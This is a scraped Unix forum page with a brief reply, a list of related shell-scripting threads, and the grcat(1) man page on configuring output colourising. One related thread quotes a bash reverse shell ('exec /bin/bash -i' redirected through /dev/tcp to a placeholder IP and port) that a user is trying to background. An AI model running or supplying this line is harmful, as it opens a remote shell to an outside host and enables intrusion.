04-30-2015
Maybe nothing visible was sent to the stdout (usually the screen) but we can see inside to know for sure. Perhaps something prepares to write even though there is no actual output.
Can you share your code?
Robin
10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
I am sorry, this is really trivial, yet I am not able to understand what the problem is!
I am using korn shell and running this script
#!/bin/ksh
keep=3
while ; do
echo $keep
keep=$(($keep-1))
done
I am getting this error: `keep=$' unexpected
I am not able to understand it because ... (1 Reply)
Discussion started by: Asty
1 Replies
2. Shell Programming and Scripting
hey everyone,
For my studies i had to write a javaprogram which reads 2 integers from the keyboard and then using the basic operations(addition, division etc) with them. so far no problem. but now i gotta make a shell-script which:
runs the program(compiled with javac)
#!bin/ksh
java... (1 Reply)
Discussion started by: simlmf
1 Replies
3. UNIX for Dummies Questions & Answers
How would i instruct the current shell to run the current script using the korn shell? (1 Reply)
Discussion started by: JamieMurry
1 Replies
4. Shell Programming and Scripting
I'm learning bash and have discovered that the shell can only work with integers and not decimals.
I'd like to run my scripts in korn to account for this, but just now, when I tried to run my script, I got an error message that said 'no such file or directory,' even though when I'm in the shell... (3 Replies)
Discussion started by: Straitsfan
3 Replies
5. Shell Programming and Scripting
Dear all,
I have a little problem trying to run a shell script in background, as you can see below.
- the script is a simple one:
#! /bin/bash
exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0
- the name of the script is test.sh
- the script is executable(chmod +x test.sh)
- on the... (2 Replies)
Discussion started by: gd05
2 Replies
6. Shell Programming and Scripting
Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies
7. Shell Programming and Scripting
Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies
8. UNIX for Advanced & Expert Users
Hi All,
I have an issue where in when i execute a script in the background using '&', it exits with stopped(SIGTTOU) signal.
There are two servers, where the Compute server is HP-Unix and Data server is Linux.
I tried using the "stty - tostop" command to disable the SIGTTOU for background... (1 Reply)
Discussion started by: vmenon
1 Replies
9. Shell Programming and Scripting
I have written the below query to genrate a telephone.I am passing account number from oracle database.
I am calling 2 scripts which generate the bill
1. bip.sh (it runs in the background)
2.runXitInvoice_PROFORMA_integ
bip.sh generates a number which runXitInvoice_PROFORMA_integ
uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies
10. Shell Programming and Scripting
Hi,
I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help..
i am using below command to run script
nohup system_traps.sh &
but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies
GRCAT(1) General Commands Manual GRCAT(1)
NAME
grcat - read from standard input, colourise it and write to standard output
SYNOPSIS
grcat configuration
DESCRIPTION
configuration is a name of a configuration file. Directories ~/.grc/, /usr/local/share/grc/, /usr/share/grc/ are searched for the file (in
this order).
If the file is not found, it is assumed to be an absolute path of a configuration file located elsewhere.
Configuration file consists of entries, one per regexp, entries are separated with lines with first character non-alphanumeric (except #).
Lines beginning with # or empty lines are ignored.
Each entry consists of several lines. Each line has form: keyword=value where keyword is one of: regexp, colours, command, skip, count.
Only regexp is mandatory, but it does not have much sense by itself unless you specify at least a colour or command keyword as well.
regexp is the regular expression to match
colours is the list of colours, separated by commas (you can specify only one colour), each colour per one regexp group specified in reg-
exp.
command is command to be executed when regexp matches. Its output will be mixed with normal stdout, use redirectors ( >/dev/null) if you
want to supress it.
skip can be either yes, or no, if yes, the matched line will be skipped and not displayed in output. Default is no.
count is one of words: once, more, or stop.
once means that if the regexp is matched, its first occurrence is coloured and the program will continue with other regexp's.
more means that if there are multiple matches of the regexp in one line, all of them will be coloured.
stop means that the regexp will be coloured and program will move to the next line (i.e. ignoring other regexp's)
Regular expressions are evaluated from top to bottom, this allows nested and overlapped expressions. (e.g. you colour everything inside
parentheses with one colour, and if a following expression matches the text inside parentheses, it will be also coloured)
OPTIONS
None so far.
SEE ALSO
grc(1)
AUTHOR
Written by Radovan Garabik <garabik @ kassiopeia.juls.savba.sk>
GRCAT(1)